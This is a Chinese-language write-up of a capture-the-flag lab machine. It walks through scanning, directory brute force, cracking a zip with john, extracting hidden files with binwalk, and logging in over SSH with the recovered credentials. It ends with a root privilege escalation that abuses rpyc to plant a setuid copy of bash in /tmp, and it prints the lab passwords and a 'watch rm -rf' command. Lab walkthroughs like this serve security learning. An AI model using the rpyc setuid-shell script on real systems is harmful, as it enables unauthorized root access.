kali IP地址为192.168.127.128
靶机 IP地址为192.168.127.130
目录
一:信息搜集
1.1 扫描主机
主机探测,发现靶机IP地址
1.2 端口扫描
端口扫描,扫描有哪些端口开放
1.3 端口访问
如上图,发现开放了 22 80端口,直接访问,没啥东西
1.4 目录扫描
没有发现什么目录,接着用gubuster进行路径爆破
发现war文件,打开查看一下发现war-is-over新目录
二:漏洞挖掘
2.1 发现文件
访问目录发现是一串base64编码,直接网站解密是解密不了的
所以尝试通过kali自带的解密方法,直接下载,查看文件类型是zip压缩包文件
2.2 John密码破解
先把文件放到桌面,直接使用zip2John提前密码信息,然后使用john进行密码爆破,
得到密码:
ragnarok123
如果出现以下问题,意思是/root/.john/john.rec文件被锁定。
通过测试只要把 /root/.john/john.rec这个文件删除就不会报错了。
所以可以通过以下命令。每两秒删除一次这个文件。
watch rm -rf /root/.john/john.rec
将文件解压,发现是一张图片
2.3 隐写查看
对图片进行隐写查看
binwalk king --查看是否存在隐藏文件
binwalk -e king --提权隐藏文件
出现以上问题怎么办? 不要慌,直接加权限,我已经是root权限了,但是识别不了,那就再叫权限
得到文件_king.extracted。进入文件夹发现存在user文件,查看存在一个ssh用户的用户名密码
账号:floki
密码:f@m0usboatbuilde7
三:漏洞利用
3.1 SSH连接
直接连接ssh,进行查看,发现在floki的用户当前目录发现两个文件,cat /etc/passwd 并且还发现一个ragnar用户
3.2 考拉兹质数解密
查看readme文件里提示需要造船,boat文件里面给出提示是考拉兹猜想,进行质数查找,编写简单的素数判断程序对第29个质数进行考拉兹计算后打印ASCII编码对应的字符串
直接写代码,对第29个质数进行考拉兹计算
n=109
a=[n]
while n != 1 :
if n % 2 ==0:
n = n/2
else:
n = n*3+1
if n < 256:
a.append(int(n))
print(a)
接下来就是解密,对10进行ascii 进行还原
得到密码:
mR)|>^/Gky[gz=.F#j5P
四:提权
用mR)|>^/Gky[gz=.F#j5P(登录ragnar账户
直接交互shell
/bin/bash -i
查找运行的脚本文件
发现当前目录下的.profile文件
直接利用rpyc 提权
查看rpyc是否开放18812端口
因为rpyc是可以远程操控的,我们直接利用这一点获取他的root权限
我们写一个脚本,让他自己连接,然后把root权限的bash复制一份给我们用
import rpyc
connect = rpyc.classic.connect('localhost')
def rootshell():
import os
os.system('rm /tmp/rootshell')
os.system('cp /bin/bash /tmp/rootshell && chmod +s /tmp/rootshell')
conn = connect.teleport(rootshell)
conn()
运行一下后,会在/tmp目录下生成一个我们能运行的东西,具有root权限的东西
直接运行脚本获得root权限
总结:
1,探测主机
2,目录探测
3,密码破解-涉及到隐写,比较麻烦
4,质数解密
5,提权